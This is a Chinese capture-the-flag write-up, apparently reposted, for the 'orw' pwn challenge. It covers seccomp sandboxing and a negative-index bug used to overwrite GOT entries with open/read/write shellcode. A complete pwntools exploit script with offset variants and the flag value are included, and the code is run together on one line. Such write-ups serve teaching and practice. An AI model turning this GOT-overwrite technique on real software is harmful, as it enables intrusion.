PWN题[强网先锋]orw超详细讲解(多解法)
知識點
構造一段shellcode的作用就是為了在緩沖區(qū)溢出時將shellcode的地址覆蓋正常的返回地址。
\x00 截斷符 shellcode里出現(xiàn)\x00就會從其截斷,所以構造shellcode的時候要避免\x00
x64函數(shù)調用規(guī)則
x64機器在調用某個函數(shù)前,比如int func(int a, int b, int c, int d, int e, int f, int g, int h),首先他會把前6個參數(shù)從左往右存入到寄存器rdi、rsi、rdx、rcx、r8、r9,其余參數(shù)存入到棧里,保存的順序是從右往左入棧。比如abcdef會存入到寄存器里,然后一次入棧h、g。
保存完參數(shù)之后再把函數(shù)后面一條指令的地址入棧保存。
解題流程
查看文件類型:
查看保護機制:
因為不是FULL RELRO所以就考慮改got表為shellcode地址
IDA64位打開
Main查看偽碼:
查看子程序
seccomp_init(0LL);
seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL);
做pwn,用seccomp做沙箱保護很常見。有時候seccomp后面會跟一個結構體
seccomp是一類內核里的安全機制,正常情況下,程序可以使用所有的syscall,這是不安全的,比如劫持程序流后通過execve的syscall來getshell.通過seccomp我們可以在程序里禁用掉某些syscall,這樣就算劫持了程序流也只能調用部分的syscall了。
seccomp(全稱securecomputing mode)是linuxkernel從2.6.23版本開始所支持的一類安全機制。
在Linux系統(tǒng)里,大量的系統(tǒng)調用(systemcall)直接暴露給用戶態(tài)程序。但是,并不是所有的系統(tǒng)調用都被需要,而且不安全的代碼濫用系統(tǒng)調用會對系統(tǒng)造成安全威脅。通過seccomp,我們限制程序使用某些系統(tǒng)調用,這樣可以減少系統(tǒng)的暴露面,同時是程序進入一類“安全”的狀態(tài)。
數(shù)字后面有u,uL,uLL:
u代表unsigned,默認為unsigned int
uL代表unsigned long
數(shù)字文字的ULL后綴uLL為unsigned long long int,令類型為整數(shù)常量unsigned long long int,添加后綴ULL到整數(shù)。
1.add
注意:
*((_QWORD *)&unk_2020E0 + v1)即unk_2020E0[v1]
2.show
3.edit
4.delete
釋放分配的內存
漏洞分析
sub_BCA里發(fā)現(xiàn)開了沙箱。
先將libseccomp.so.0文件路徑添加到環(huán)境變量里
Export LD_LIBRARY_PATH=’/home/kali/Desktop’
再ldd鏈接
限制了只能使用open,read,write
在add里
令index下標為負數(shù)時可以覆蓋到其他函數(shù)的got表地址
具體解決
下面介紹三個解決方案:
方法一
這里選覆蓋掉exit的got表里的地址,因為沙盒的存在,所以需要構造orw的shellcode并覆蓋exit的got地址為shellcode
exit位置在unk_2020E0位置的上面
相差偏移量:E0-78=0x68=104,再除以8=13,即向上偏移13可覆蓋exit的地址
exp腳本如下:
from pwn import *p=process('./pwn') #p = remote("39.105.131.68","12354") elf=ELF('./pwn') context(os='linux',arch='amd64')shellcode='''xor rax, rax #xor rax,rax是對rax的清零運算操作xor rdi, rdi #清空rdi寄存器的值xor rsi, rsi #清空rsi寄存器的值xor rdx, rdxmov rax, 2 #open調用號為2mov rdi, 0x67616c662f2e #為galf/.為./flag的相反 0x67616c662f2e為/flag的ASCII碼的十六進制push rdimov rdi, rspsyscall #系統(tǒng)調用前,linux在eax寄存器里寫入子功能號,斷止處理程序根據(jù)eax寄存器的值來判斷用戶進程申請哪類系統(tǒng)調用。mov rdx, 0x100 #sys_read(3,file,0x100)mov rsi, rdimov rdi, raxmov rax, 0 #read調用號為0,0為文件描述符,即外部輸入,例如鍵盤syscallmov rdi, 1 #sys_write(1,file,0x30)mov rax, 1 #write調用號為1,1為文件描述符,指的是屏幕syscall ''' p.recv() p.sendline('1') p.recvuntil('index:') p.sendline('-13') p.recvuntil('size:') p.sendline('0') p.recvuntil('content:') p.sendline(asm(shellcode)) #asm可以對匯編代碼進行匯編 #gdb.attach(p) p.sendline('5')p.interactive()flag值為:flag{151a5154-orw1-easy-1234-99bdsa23c7ds}
方法二
覆蓋掉free的got表里的地址,將上面的腳本的偏移-13改為-25即可
方法三
覆蓋掉atoi的got表里的地址,將上面的腳本的偏移-13改為-14即可
方法四
覆蓋掉puts的got表里的地址,將上面的腳本的偏移-13改為-22即可
總結
以上是生活随笔為你收集整理的PWN题[强网先锋]orw超详细讲解(多解法)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: UDP消息发送
- 下一篇: jq之$(“tr:odd“).css(“